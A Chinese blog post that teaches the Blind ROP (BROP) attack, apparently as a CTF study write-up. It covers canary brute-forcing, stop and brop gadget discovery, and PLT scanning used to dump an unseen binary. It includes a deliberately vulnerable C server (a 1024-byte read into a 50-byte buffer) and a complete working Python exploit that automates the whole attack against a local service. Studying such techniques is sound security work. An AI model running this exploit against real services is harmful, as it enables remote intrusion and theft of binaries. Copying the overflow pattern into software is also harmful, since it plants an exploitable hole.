Hit enter to search or ESC to close

May I Suggest ?

#leanote #leanote blog #code #hello world

BROP
无    702    0    0
mut3p1g

BROP即Blind ROP，是在没有给二进制文件时将二进制文件dump下来的技术，下面一起来看看。


参考资料
http://wooyun.jozxing.cc/static/drops/tips-3071.html
http://ytliu.info/blog/2014/05/31/blind-return-oriented-programming-brop-attack-yi/

0x01 BROP

1. 利用环境及条件

利用环境就是当服务器上运行了一个应用程序，而我们无法获取对应的二进制文件。
利用条件就下面两点：

  • 可以出发栈溢出
  • 程序crash后会复活，并且复活的进程的相关地址、canary都不变

2. 准备工作

由于无法获取二进制文件，所以我们的目标就是将其dump出来，主要思路是通过write来打印出来，函数原型为：

  1. write(int sock, void *buf, int len)

所以我们只要构造如下的gadget就可以了（小小地盗下图XD）

不过在找到这四个gadget之前，还有下面几关需要闯过去。

1) canary

由于我们会导致栈溢出，所以肯定会覆盖到canary，不过可以通过多少位会crash来判断canary的位置，接着通过是否crash来一位一位地爆破就可以了。

2) stop gadget

当绕过了canary后，我们就能够控制返回的地址了，但一般填个地址会由于该地址非法导致crash。但有一种特殊的gadget叫stop gadget，表示一断可以导致程序无限循环的gadget，这时程序就相当于被挂起了，但在攻击者看来连接一直持续着。

3) useful gadget

stop gadget的作用是什么呢？就是用来让我们判断有无得到一个useful gadget。如果我们在输入地址后面加入很多个stop gadget(可能有很多个pop)，那么如果crash了就说明是我们输入的地址导致的，如果进入了死循环那么说明地址是合法的，也就是useful gadget。

4) brop gadget

现在我们获取了useful gadget，那么问题是如何从中间提取出我们需要的4个gadget？
首先如图所示的brop gadget可以解决两个gadget(再小小地盗下图XD)

如果我们找到了这样的brop gadget，那么就能从中抽离出

  1. ==> brop_gadget_addr
  2. pop rsi #brop_gadget_addr + 7
  3. pop r15
  4. ret
  5. pop rdi #brop_gadget_addr + 9
  6. ret

想找到这样的brop gadget也比较简单，因为连续6次pop就基本上是这个了，那么我们构造

  1. crash_gadget * 6
  2. stop_gadget

如果最后能进入死循环，那么就说明我们找到了。

5) plt segment

PLT是什么在这就不多说了，我们现在的目标就是找到PLT段。首先要明确一个PLT段的特点，就是其中每一个项都是按16字节对齐的：


同时由于其一般不会因为传入的参数而crash，所以如果我们寻找到了连续的按16字节对齐且不crash的地址，而且他们加6或者11之后也不会crash，那么一般就是PLT段了。
不过比较特殊的就是包括puts、printf、write这种带输出的函数，会导致判断失误，不过也很容易人工判定具体函数是什么，到时候具体情况具体分析就好了。

6) strcmp plt

gadget已经可以找到rsi和rdi了，那么问题就是rdx怎么取值。这里我们可以找到一个函数譬如strcmp(a,b)，在执行完该函数之后会返回b的长度，这样就间接控制了rdx。(其实只要不是0或者某个地址以至于太大就行)

3. 攻击流程

通过上面的准备工作，我们已经可以获取一些有用的gadget，以及函数的plt。
首先我们需要做的就是通过上面的部分找到一个输出的函数，然后根据其调用的参数找到对应的gadget，为了简化问题这里直接用puts来做样例。
由于puts只需要rdi作为参数，所以我们直接从brop gadget取出对应的就行，也就是brop_gadget_addr+ 9。

0x02 demo

1. source code

这里采用z牛在2016HCTF的一道题，出题人失踪了。
不过z牛为了防止fork boom所以没有在程序中加入fork，而是写了个守护脚本自动重启程序、转发流量，所以这里我讲程序稍微改写了一下，实现时遇到了很多问题，最终参考fork子进程僵尸问题及解决方案得以解决。
为了简化问题，所以不开启canary(避免每次都要报错)以及PIE(为了获取gadget后就不需要再次尝试了)。

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <signal.h>
  5. #include <string.h>
  6. #include<sys/types.h>
  7. #include<sys/wait.h>
  8. int i;
  9. int check();
  11. void signal_handler(int signo) {
  12.     if (signo == SIGCHLD) {
  13.         pid_t pid;
  14.         while ((pid = waitpid(-1, NULL, WNOHANG)) > 0) {}
  15.     }
  16. }
  18. int main(void){
  19.     setbuf(stdin,NULL);
  20.     setbuf(stdout,NULL);
  21.     setbuf(stderr,NULL);
  22.     signal(SIGCHLD, signal_handler); // solve the problem that child not exit
  23.     int fpid = getpid();
  24.     int cpid = fpid+1;
  25.     int pid = 0;
  26.     while (1){
  27.         int ret = kill(cpid,0); // if child still alive now
  28.         if (ret!=0){ // child exit
  29.             pid = fork();
  30.             if (pid<=0){ // fork child
  31.                 break;
  32.             } else{ // update child_pid
  33.                 cpid = pid;
  34.             }
  35.         }
  36.     }
  37.     puts("WelCome my friend,Do you know password?\n");    
  38.     if(!check()){
  39.         puts("Do not dump my memory");
  40.     }else {
  41.         puts("No password, no game");
  42.     }
  43. }
  44. int check(){
  45.     char buf[50];
  46.     read(STDIN_FILENO,buf,1024);
  47.     return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
  48. }

2. EXP

  1. #!/usr/bin/env python
  2. # encoding: utf-8
  3. from mypwn import *
  4. import cPickle
  5. import sys
  6. bin_file = "./brop"
  7. remote_detail = ("127.0.0.1",8888)
  8. libc_file = ""
  9. bp = []
  10. pie = True
  11. p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)
  13. OK = 0
  14. CRASH = 1
  15. STOP = 2
  17. def reboot():
  18.     global p
  19.     p.close()
  20.     p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)
  22. def bof(data):
  23.     if p.recvuntil("password?\n",timeout=1) == "":
  24.         reboot()
  25.         return bof(data)
  26.     p.send(data)
  27.     ret = -1
  28.     if p.recv(1,timeout=1) and p.recvuntil("no game",timeout=1)=="": # program reboot means crash->1
  29.         ret = CRASH
  30.     if p.recv(1,timeout=1)=="": # nothing means stop->2
  31.         ret = STOP
  32.         reboot()
  33.     return ret
  35. def bof_dump(data,length):
  36.     reboot()
  37.     p.recvuntil("password?\n")
  38.     p.send(data)
  39.     return p.recvline()
  42. class Gadget():
  43.     def __init__(self, start, end):
  44.         self.start = start
  45.         self.addr = start
  46.         self.end = end
  47.         self.stop = []
  48.         self.brop = []
  49.         self.plt = []
  51.     def show_item(self,item):
  52.         print ','.join([hex(i) for i in item])
  54.     def show(self):
  55.         log.success("show stop:")
  56.         self.show_item(self.stop)
  57.         log.success("show brop:")
  58.         self.show_item(self.brop)
  59.         log.success("show plt:")
  60.         self.show_item(self.plt)
  63. class BropPayload():
  64.     def __init__(self, bof_func):
  65.         self.bit = 8
  66.         self.bof = bof_func
  67.         self.pad = 72
  68.         self.padding = self.pad * "M"
  69.         self.canary = 0
  70.         self.data_file = "gadget.data"
  71.         self.gadget_init_start = 0x400000
  72.         self.gadget_init_end = 0x401000
  74.     def load_gadget(self):
  75.         try:
  76.             df = open(self.data_file)
  77.             data = df.read()
  78.             self.gadget = cPickle.loads(data)
  79.             df.close()
  80.         except:
  81.             self.gadget = Gadget(self.gadget_init_start,self.gadget_init_end)
  83.     def save_gadget(self):
  84.         df = open(self.data_file,'w')
  85.         data = cPickle.dumps(self.gadget)
  86.         df.write(data)
  87.         df.close()
  89.     def get_padding(self):
  90.         i = self.pad
  91.         while True:
  92.             i += 1
  93.             payload = i * "A"
  94.             if bof(payload)==CRASH:
  95.                 self.pad = i - 1
  96.                 break
  97.         self.padding = self.pad * "M"
  98.         log.success("pad is %d  "%(self.pad))
  100.     def get_canary(self):
  101.         for i in xrange(self.bit):
  102.             for j in xrange(255):
  103.                 if bof(self.padding + chr(j))==OK:
  104.                     self.padding += chr(j)
  105.                     self.canary = self.canary<<8 + j
  106.                     break
  107.             print "canary %d is %d" % (i,j)
  108.         log.success("canary is %s"%(hex(self.canary)))
  110.     def get_stop_gadget(self):
  111.         log.info("try to find stop gadget..")
  112.         addr = self.gadget.addr
  113.         while addr+1<self.gadget.end:
  114.             addr += 1
  115.             payload = self.padding + p64(addr)
  116.             if bof(payload) == STOP:
  117.                 log.success("stop_gadget found: %s"%(hex(addr)))
  118.                 self.gadget.stop.append(addr)
  119.                 break
  120.         self.gadget.addr = self.gadget_init_start
  121.         self.save_gadget()
  122.         p.close()
  123.         sys.exit(0)
  125.     def get_brop_gadget(self):
  126.         log.info("try to find brop gadget..")
  127.         addr = self.gadget.addr
  128.         while addr+1<self.gadget.end:
  129.             addr += 1
  130.             payload = self.padding + p64(addr) + p64(0)*6 + p64(self.gadget.stop[-1])
  131.             if bof(payload) == STOP:
  132.                 log.success("brop_gadget found: %s"%(hex(addr)))
  133.                 self.gadget.brop.append(addr)
  134.                 break
  135.         self.gadget.addr = self.gadget_init_start
  136.         self.save_gadget()
  137.         p.close()
  138.         sys.exit(0)
  140.     def get_plt_segment(self):
  141.         log.info("try to find plt segment..")
  142.         addr = self.gadget.addr & 0xfffffff0
  143.         count = 0
  144.         start_addr = 0
  145.         while addr<self.gadget.end:
  146.             addr += 0x10
  147.             payload1 = self.padding + p64(addr) + p64(self.gadget.stop[-1])*100
  148.             payload2 = self.padding + p64(addr+6) + p64(self.gadget.stop[-1])*100
  149.             if bof(payload1) == STOP:
  150.                 if bof(payload2) == STOP:
  151.                     log.success("possible plt_%d found: %s"%(count,hex(addr)))
  152.                     if count == 0:
  153.                         start_addr = addr
  154.                     count += 1
  155.             if count>3:
  156.                 break
  157.         log.success("plt segment fountd:%s"%(hex(start_addr)))
  158.         self.gadget.plt.append(start_addr)
  159.         self.gadget.addr = self.gadget_init_start
  160.         self.save_gadget()
  162.     def dump_file(self, opaddr, length, staddr, enaddr): # puts
  163.         log.info("try to dump the file..")
  164.         addr = staddr
  165.         prdi = self.gadget.brop[-1] + 9
  167.         binfile = ""
  168.         while addr<enaddr:
  169.             payload = self.padding + p64(prdi) + p64(addr) + p64(opaddr) + p64(brop.gadget.stop[-1])
  170.             ret = bof_dump(payload,length)[:-1] # kill \n
  171.             if len(ret)==0: ret = '\x00'
  172.             binfile += ret
  173.             addr += len(ret)
  174.             print binfile.encode("hex")
  177. def prepare():
  178.     brop.load_gadget()
  179.     brop.get_padding()
  180.     if len(brop.gadget.stop)==0:
  181.         brop.gadget.addr = 0x400931
  182.         brop.get_stop_gadget()
  183.     if len(brop.gadget.brop)==0:
  184.         brop.gadget.addr = 0x4009b9
  185.         brop.get_brop_gadget()
  186.     if len(brop.gadget.plt)==0:
  187.         brop.gadget.addr = 0x400670
  188.         brop.get_plt_segment()
  189.     brop.gadget.show()
  191. def attack():
  192.     output_addr = brop.gadget.plt[-1]-0x10 # we can see output here
  193.     length = 8
  194.     brop.dump_file(output_addr, length, 0x400000,0x401000)
  195.     return
  197. if __name__ == "__main__":
  198.     brop = BropPayload(bof)
  199.     prepare()
  200.     attack()
觉得不错，点个赞？
Sign in to leave a comment.
No Leanote account ? Sign up now.
0 条评论
Themed by mrbird  Powered by Leanote
文章目录